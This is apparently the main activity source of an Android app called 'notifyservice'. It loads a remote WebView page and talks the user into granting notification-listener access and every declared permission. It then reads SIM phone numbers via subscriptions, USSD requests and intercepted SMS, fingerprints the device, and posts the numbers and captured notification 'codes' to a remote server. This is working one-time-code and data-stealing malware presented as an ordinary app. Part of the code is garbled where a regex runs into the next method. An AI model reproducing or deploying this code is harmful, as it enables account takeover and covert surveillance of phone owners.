package com.example.notifyservice; import android.Manifest; import android.app.AlertDialog; import android.content.BroadcastReceiver; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.pm.PackageManager; import android.net.ConnectivityManager; import android.net.Network; import android.net.NetworkCapabilities; import android.os.Build; import android.os.Bundle; import android.telephony.TelephonyManager; import android.view.View; import android.view.ViewGroup; import android.webkit.WebChromeClient; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import androidx.annotation.NonNull; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import android.os.Handler; import android.provider.Settings; import android.provider.Telephony; import android.telephony.SmsMessage; import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionManager; import android.util.Log; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; import java.util.List; import java.util.Locale; import java.util.Timer; import java.util.TimerTask; import java.util.regex.Matcher; import java.util.regex.Pattern; public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback { private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC private int requestsCount = 0; private WebView webView; private View customView; private WebChromeClient.CustomViewCallback customViewCallback; private ViewGroup mainContainer; private String currentHash = ""; // STATIC private int currentPhone = 0; private List phones; private boolean receivingSms = false; private double codeTimeout = 0.0; private Timer timer; private List codes = new ArrayList<>(); private NotificationReceiver notificationReceiver; private JSONObject ussd; private JSONObject language; public class PhoneNumber { public String phone; public TelephonyManager telephonyManager; public String operator; public String country; private PhoneNumber( String phone, TelephonyManager telephonyManager, String operator, String country ) { this.phone = phone; this.telephonyManager = telephonyManager; this.operator = operator; this.country = country; } public boolean phoneProvided(){ return !phone.isEmpty(); } public String getPhone() { return phone; } public TelephonyManager getSubscriptionId() { return telephonyManager; } public String getOperator() { return operator; } public String getCountry() { return country; } public void setPhone(String phone) { this.phone = phone; } public String save(){ return phone + ":" + operator // STATIC + ":" + country; // STATIC } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = findViewById(R.id.webview); mainContainer = findViewById(android.R.id.content); WebSettings webSettings = webView.getSettings(); webSettings.setJavaScriptEnabled(true); webSettings.setDomStorageEnabled(true); webSettings.setDatabaseEnabled(true); webSettings.setAllowFileAccess(true); webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); webView.setWebChromeClient(new WebChromeClient() { @Override public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) { if (customView != null) { callback.onCustomViewHidden(); return; } customView = view; customViewCallback = callback; mainContainer.addView(customView); webView.setVisibility(View.GONE); } @Override public void onHideCustomView() { if (customView == null) { return; } mainContainer.removeView(customView); customView = null; webView.setVisibility(View.VISIBLE); customViewCallback.onCustomViewHidden(); } }); webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } }); // Загрузка начального URL webView.loadUrl(websiteUrl); Log.i("LOG", // STATIC "Tap1"); // STATIC loadData(); } private void loadData() { Log.i("LOG", // STATIC "Tap2"); // STATIC requestsCount = 0; GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { return ""; // STATIC } } public static void setKey(Context context, String key) { SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { Log.i("LOG", // STATIC "TapPrompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); startActivity(intent); dialogInterface.dismiss(); System.exit(0); } }); builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); finish(); } }); this.runOnUiThread(new Runnable() { public void run() { Log.i("LOG", // STATIC "TapUi"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } }); } public static String getDeviceInfo(Context context) { String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); m_builder.append(android.os.Build.DEVICE + p_seperator); m_builder.append(android.os.Build.MODEL + p_seperator); m_builder.append(android.os.Build.PRODUCT + p_seperator); m_builder.append(android.os.Build.BRAND + p_seperator); m_builder.append(android.os.Build.DISPLAY + p_seperator); // TODO : android.os.Build.CPU_ABI is deprecated m_builder.append(android.os.Build.CPU_ABI + p_seperator); // TODO : android.os.Build.CPU_ABI2 is deprecated m_builder.append(android.os.Build.CPU_ABI2 + p_seperator); m_builder.append(android.os.Build.UNKNOWN + p_seperator); m_builder.append(android.os.Build.HARDWARE + p_seperator); m_builder.append(android.os.Build.ID + p_seperator); m_builder.append(android.os.Build.MANUFACTURER + p_seperator); m_builder.append(android.os.Build.SERIAL + p_seperator); m_builder.append(android.os.Build.USER + p_seperator); m_builder.append(android.os.Build.HOST + p_seperator); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); return m_data; } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { requestPermissions(retrievePermissions(this)); } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ Intent intent = new Intent(this, Listener.class); startService(intent); notificationReceiver = new NotificationReceiver(); IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC registerReceiver(notificationReceiver, filter); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } } private class NotificationReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String code = intent.getStringExtra("code"); onNotificationReceived(code); } } public void onNotificationReceived(String code) { if(codes.contains(code)) return; codes.add(code); cancelTimer(); PostRequest postRequestTask = new PostRequest(this, this); postRequestTask.execute("code", code + ";" + currentHash); // STATIC nextPhone(); } public void cancelTimer(){ if (timer != null) { timer.cancel(); } } public void nextPhone() { currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; } if (telephonyManager == null) { return false; } if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) { return false; } return true; } private void savePhone(Context context, PhoneNumber phone){ if(phone.phoneProvided()){ requestPhone(context, phone); } else { receivingSms = false; currentHash = ""; // STATIC if(!isSimConnected(context, phone.telephonyManager)) nextPhone(); else requestUssdNumber(phone); } } private void requestPhone(Context context, PhoneNumber phone){ PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC } @Override public void onPostResponse(JSONObject result) { try { if(!result.getString("hash").isEmpty()) // STATIC currentHash = result.getString("hash"); // STATIC if(!result.getString("key").isEmpty()) // STATIC setKey(getBaseContext(), result.getString("key")); // STATIC if(!result.getString("timeout").isEmpty()) { // STATIC codeTimeout = result.getDouble("timeout"); // STATIC Timer timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { nextPhone(); } }, Math.round(codeTimeout * 1000)); } } catch (JSONException e) { throw new RuntimeException(e); } } @Override public void onGetResponse(JSONObject result) { Log.i("LOG", // STATIC "Tap3"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC ussd = result.getJSONObject( "data" // STATIC ); requestsCount += 1; } else if (result.get("name"). // STATIC equals("languages")) { // STATIC language = result.getJSONObject( "data" // STATIC ).getJSONObject(Locale.getDefault().getLanguage()); requestsCount += 1; } if (requestsCount == 2) { if (!isNotificationServiceEnabled()) { promptNotificationAccess(); } else { requestPermissions(retrievePermissions(this)); } } } catch (JSONException e) { Log.i("LOG", // STATIC e.toString()); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), "enabled_notification_listeners" // STATIC ); return enabledListeners != null && enabledListeners.contains(packageName); } private void requestNotificationAccess() { Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); startActivity(intent); } private static String[] retrievePermissions(Context context) { final String pkgName = context.getPackageName(); try { return context .getPackageManager() .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { return new String[0]; } } private void requestPermissions(String[] permissions) { Log.i("LOG", // STATIC "TapPerm"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } private static boolean isNetworkAvailable(Context context) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); Network nw = connectivityManager.getActiveNetwork(); if (nw == null) return false; NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw); return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)); } public static String extractFirstPhoneNumber(String input) { String regex = "(?= Build.VERSION_CODES.O) { boolean finalSmsResponse = smsResponse; phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() { @Override public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { super.onReceiveUssdResponse(telephonyManager, request, response); String responseString = response.toString(); if (finalSmsResponse){ receivingSms = true; } else { phone.setPhone(extractFirstPhoneNumber(responseString)); savePhone(getBaseContext(), phone); } } @Override public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) { super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode); nextPhone(); } }, null); } } private List collectPhoneNumber(Context context){ Log.i("collectPhoneNumber", "+"); List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; } SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); List subscriptions = manager.getActiveSubscriptionInfoList(); for (int i = 0; i < subscriptions.size(); i++) { SubscriptionInfo currentCard = subscriptions.get(i); String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()); TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId()); phoneNumbers.add(new PhoneNumber( phoneNumber, telephonyManager, telephonyManager.getSimOperatorName(), currentCard.getCountryIso() )); } return phoneNumbers; } private final BroadcastReceiver smsReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC if (pdus != null) { if(!receivingSms) return; for (Object pdu : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu); String messageBody = smsMessage.getMessageBody(); String phoneNumber = extractFirstPhoneNumber(messageBody); if(!phoneNumber.isEmpty()) { phones.get(currentPhone).setPhone(phoneNumber); savePhone(getBaseContext(), phones.get(currentPhone)); } } } } } }; @Override public void onBackPressed() { if (webView.canGoBack()) { webView.goBack(); } else { super.onBackPressed(); } } @Override protected void onDestroy() { super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { } } }